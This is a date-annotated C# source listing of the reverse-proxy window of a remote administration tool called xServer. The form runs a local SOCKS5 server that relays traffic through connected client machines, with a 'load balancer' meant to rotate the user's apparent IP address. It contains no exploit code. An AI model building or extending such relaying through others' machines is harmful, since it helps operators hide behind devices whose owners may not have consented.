2015-05-10 04:11:27 -07:00
using System ;
2015-08-27 08:14:21 -07:00
using System.Globalization ;
2015-08-19 11:37:17 -07:00
using System.Net.Sockets ;
2015-05-10 04:11:27 -07:00
using System.Windows.Forms ;
2015-08-19 11:37:17 -07:00
using xServer.Core.Data ;
2015-05-10 04:11:27 -07:00
using xServer.Core.ReverseProxy ;
2015-05-19 13:17:03 -07:00
using xServer.Core.Helper ;
2015-06-05 14:07:37 -07:00
using xServer.Core.Networking ;
2015-05-10 04:11:27 -07:00
namespace xServer.Forms
{
public partial class FrmReverseProxy : Form
{
2015-05-29 14:34:57 -07:00
private readonly Client [ ] _clients ;
2015-05-10 10:02:10 -07:00
private ReverseProxyServer SocksServer { get ; set ; }
2015-05-29 14:34:57 -07:00
private ReverseProxyClient [ ] _openConnections ;
private Timer _refreshTimer ;
2015-05-10 04:11:27 -07:00
2015-05-16 11:39:35 -07:00
public FrmReverseProxy ( Client [ ] clients )
2015-05-10 04:11:27 -07:00
{
2015-05-29 14:34:57 -07:00
this . _clients = clients ;
2015-05-16 11:39:35 -07:00
2015-08-15 08:52:16 -07:00
foreach ( Client c in clients )
{
if ( c = = null | | c . Value = = null ) continue ;
c . Value . FrmProxy = this ;
}
InitializeComponent ( ) ;
2015-05-10 04:11:27 -07:00
}
private void FrmReverseProxy_Load ( object sender , EventArgs e )
{
2015-05-29 14:34:57 -07:00
if ( _clients . Length > 1 )
2015-05-16 11:39:35 -07:00
{
2015-08-19 11:37:17 -07:00
this . Text = "Reverse Proxy [Load-Balancer is active]" ;
2015-05-29 14:34:57 -07:00
lblLoadBalance . Text = "The Load Balancer is active, " + _clients . Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works" ;
2015-05-16 11:39:35 -07:00
}
2015-05-29 14:34:57 -07:00
else if ( _clients . Length = = 1 )
2015-05-16 11:39:35 -07:00
{
2015-07-25 15:10:59 -07:00
this . Text = WindowHelper . GetWindowTitle ( "Reverse Proxy" , _clients [ 0 ] ) ;
2015-05-16 11:39:35 -07:00
lblLoadBalance . Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer" ;
}
2015-08-27 08:14:21 -07:00
nudServerPort . Value = Settings . ReverseProxyPort ;
2015-05-10 04:11:27 -07:00
}
private void btnStart_Click ( object sender , EventArgs e )
{
try
{
2015-08-27 08:14:21 -07:00
ushort port = GetPortSafe ( ) ;
if ( port = = 0 )
{
MessageBox . Show ( "Please enter a valid port > 0." , "Please enter a valid port" , MessageBoxButtons . OK ,
MessageBoxIcon . Warning ) ;
return ;
}
2015-05-10 10:02:10 -07:00
SocksServer = new ReverseProxyServer ( ) ;
SocksServer . OnConnectionEstablished + = socksServer_onConnectionEstablished ;
SocksServer . OnUpdateConnection + = socksServer_onUpdateConnection ;
2015-08-27 08:14:21 -07:00
SocksServer . StartServer ( _clients , "0.0.0.0" , port ) ;
ToggleButtons ( true ) ;
2015-05-16 08:41:28 -07:00
2015-05-29 14:34:57 -07:00
_refreshTimer = new Timer ( ) ;
_refreshTimer . Tick + = RefreshTimer_Tick ;
_refreshTimer . Interval = 100 ;
_refreshTimer . Start ( ) ;
2015-05-10 04:11:27 -07:00
}
2015-08-19 11:37:17 -07:00
catch ( SocketException ex )
{
if ( ex . ErrorCode = = 10048 )
{
2015-08-20 00:16:47 -07:00
MessageBox . Show ( "The port is already in use." , "Listen Error" , MessageBoxButtons . OK , MessageBoxIcon . Error ) ;
2015-08-19 11:37:17 -07:00
}
else
{
MessageBox . Show (
string . Format (
"An unexpected socket error occurred: {0}\n\nError Code: {1}\n\nPlease report this as fast as possible here:\n{2}/issues" ,
2015-08-20 00:16:47 -07:00
ex . Message , ex . ErrorCode , Settings . RepositoryURL ) , "Unexpected Listen Error" , MessageBoxButtons . OK , MessageBoxIcon . Error ) ;
2015-08-19 11:37:17 -07:00
}
btnStop_Click ( sender , null ) ;
}
2015-05-10 04:11:27 -07:00
catch ( Exception ex )
{
2015-05-29 14:34:57 -07:00
MessageBox . Show (
string . Format (
2015-08-19 11:37:17 -07:00
"An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\n{1}/issues" ,
2015-08-20 00:16:47 -07:00
ex . Message , Settings . RepositoryURL ) , "Unexpected Listen Error" , MessageBoxButtons . OK , MessageBoxIcon . Error ) ;
2015-05-10 10:02:10 -07:00
btnStop_Click ( sender , null ) ;
2015-05-10 04:11:27 -07:00
}
}
2015-05-16 08:41:28 -07:00
void RefreshTimer_Tick ( object sender , EventArgs e )
2015-05-10 04:11:27 -07:00
{
2015-05-16 08:41:28 -07:00
try
2015-05-10 04:11:27 -07:00
{
2015-05-16 08:41:28 -07:00
lock ( SocksServer )
2015-05-10 04:11:27 -07:00
{
2015-05-29 14:34:57 -07:00
this . _openConnections = SocksServer . OpenConnections ;
2015-09-03 12:44:57 -07:00
lstConnections . VirtualListSize = this . _openConnections . Length ;
lstConnections . Refresh ( ) ;
2015-05-16 08:41:28 -07:00
}
}
catch { }
}
2015-05-10 06:34:49 -07:00
2015-08-27 08:14:21 -07:00
private ushort GetPortSafe ( )
{
var portValue = nudServerPort . Value . ToString ( CultureInfo . InvariantCulture ) ;
ushort port ;
return ( ! ushort . TryParse ( portValue , out port ) ) ? ( ushort ) 0 : port ;
}
2015-05-16 08:41:28 -07:00
void socksServer_onUpdateConnection ( ReverseProxyClient proxyClient )
{
2015-05-10 04:11:27 -07:00
2015-05-16 08:41:28 -07:00
}
2015-05-10 08:39:20 -07:00
2015-05-16 08:41:28 -07:00
void socksServer_onConnectionEstablished ( ReverseProxyClient proxyClient )
{
2015-05-10 08:39:20 -07:00
2015-05-10 04:11:27 -07:00
}
2015-08-27 08:14:21 -07:00
private void ToggleButtons ( bool t )
{
btnStart . Enabled = ! t ;
nudServerPort . Enabled = ! t ;
btnStop . Enabled = t ;
}
2015-05-10 04:11:27 -07:00
private void btnStop_Click ( object sender , EventArgs e )
{
2015-05-29 14:34:57 -07:00
if ( _refreshTimer ! = null )
_refreshTimer . Stop ( ) ;
2015-08-27 08:14:21 -07:00
ToggleButtons ( false ) ;
2015-05-10 10:02:10 -07:00
if ( SocksServer ! = null )
SocksServer . Stop ( ) ;
2015-05-10 04:11:27 -07:00
try
{
2015-05-10 10:02:10 -07:00
SocksServer . OnConnectionEstablished - = socksServer_onConnectionEstablished ;
SocksServer . OnUpdateConnection - = socksServer_onUpdateConnection ;
2015-05-10 04:11:27 -07:00
}
catch { }
}
private void FrmReverseProxy_FormClosing ( object sender , FormClosingEventArgs e )
{
2015-08-27 08:14:21 -07:00
Settings . ReverseProxyPort = GetPortSafe ( ) ;
2015-05-10 04:11:27 -07:00
//Stop the proxy server if still active
2015-05-10 10:02:10 -07:00
btnStop_Click ( sender , null ) ;
2015-05-10 10:42:17 -07:00
2015-05-29 14:34:57 -07:00
for ( int i = 0 ; i < _clients . Length ; i + + )
2015-05-16 11:39:35 -07:00
{
2015-08-08 09:44:10 -07:00
if ( _clients [ i ] ! = null & & _clients [ i ] . Value ! = null )
2015-05-29 14:34:57 -07:00
_clients [ i ] . Value . FrmProxy = null ;
2015-05-16 11:39:35 -07:00
}
2015-05-10 10:02:10 -07:00
}
private void nudServerPort_ValueChanged ( object sender , EventArgs e )
{
2015-08-27 08:14:21 -07:00
lblProxyInfo . Text = string . Format ( "Connect to this SOCKS5 Proxy: 127.0.0.1:{0} (no user/pass)" , nudServerPort . Value ) ;
2015-05-16 08:41:28 -07:00
}
private void LvConnections_RetrieveVirtualItem ( object sender , RetrieveVirtualItemEventArgs e )
{
lock ( SocksServer )
{
2015-05-29 14:34:57 -07:00
if ( e . ItemIndex < _openConnections . Length )
2015-05-16 08:41:28 -07:00
{
2015-06-25 13:22:45 -07:00
ReverseProxyClient connection = _openConnections [ e . ItemIndex ] ;
2015-05-16 08:41:28 -07:00
e . Item = new ListViewItem ( new string [ ]
{
2015-06-25 13:22:45 -07:00
connection . Client . EndPoint . ToString ( ) ,
connection . Client . Value . Country ,
2015-08-27 08:14:21 -07:00
( connection . HostName . Length > 0 & & connection . HostName ! = connection . TargetServer ) ? string . Format ( "{0} ({1})" , connection . HostName , connection . TargetServer ) : connection . TargetServer ,
2015-06-25 13:22:45 -07:00
connection . TargetPort . ToString ( ) ,
2015-07-25 15:10:59 -07:00
FileHelper . GetDataSize ( connection . LengthReceived ) ,
FileHelper . GetDataSize ( connection . LengthSent ) ,
2015-06-25 13:22:45 -07:00
connection . Type . ToString ( )
} ) { Tag = connection } ;
2015-05-16 08:41:28 -07:00
}
}
}
private void killConnectionToolStripMenuItem_Click ( object sender , EventArgs e )
{
lock ( SocksServer )
{
2015-09-03 12:44:57 -07:00
if ( lstConnections . SelectedIndices . Count > 0 )
2015-05-16 08:41:28 -07:00
{
//copy the list, it could happen the suddenly the items de-select
2015-09-03 12:44:57 -07:00
int [ ] items = new int [ lstConnections . SelectedIndices . Count ] ;
lstConnections . SelectedIndices . CopyTo ( items , 0 ) ;
2015-05-16 08:41:28 -07:00
foreach ( int index in items )
{
2015-05-29 14:34:57 -07:00
if ( index < _openConnections . Length )
2015-05-16 08:41:28 -07:00
{
2015-05-29 14:34:57 -07:00
ReverseProxyClient connection = _openConnections [ index ] ;
if ( connection ! = null )
2015-05-16 08:41:28 -07:00
{
2015-05-29 14:34:57 -07:00
connection . Disconnect ( ) ;
2015-05-16 08:41:28 -07:00
}
}
}
}
}
2015-05-10 04:11:27 -07:00
}
}
2015-05-17 03:11:40 -07:00
}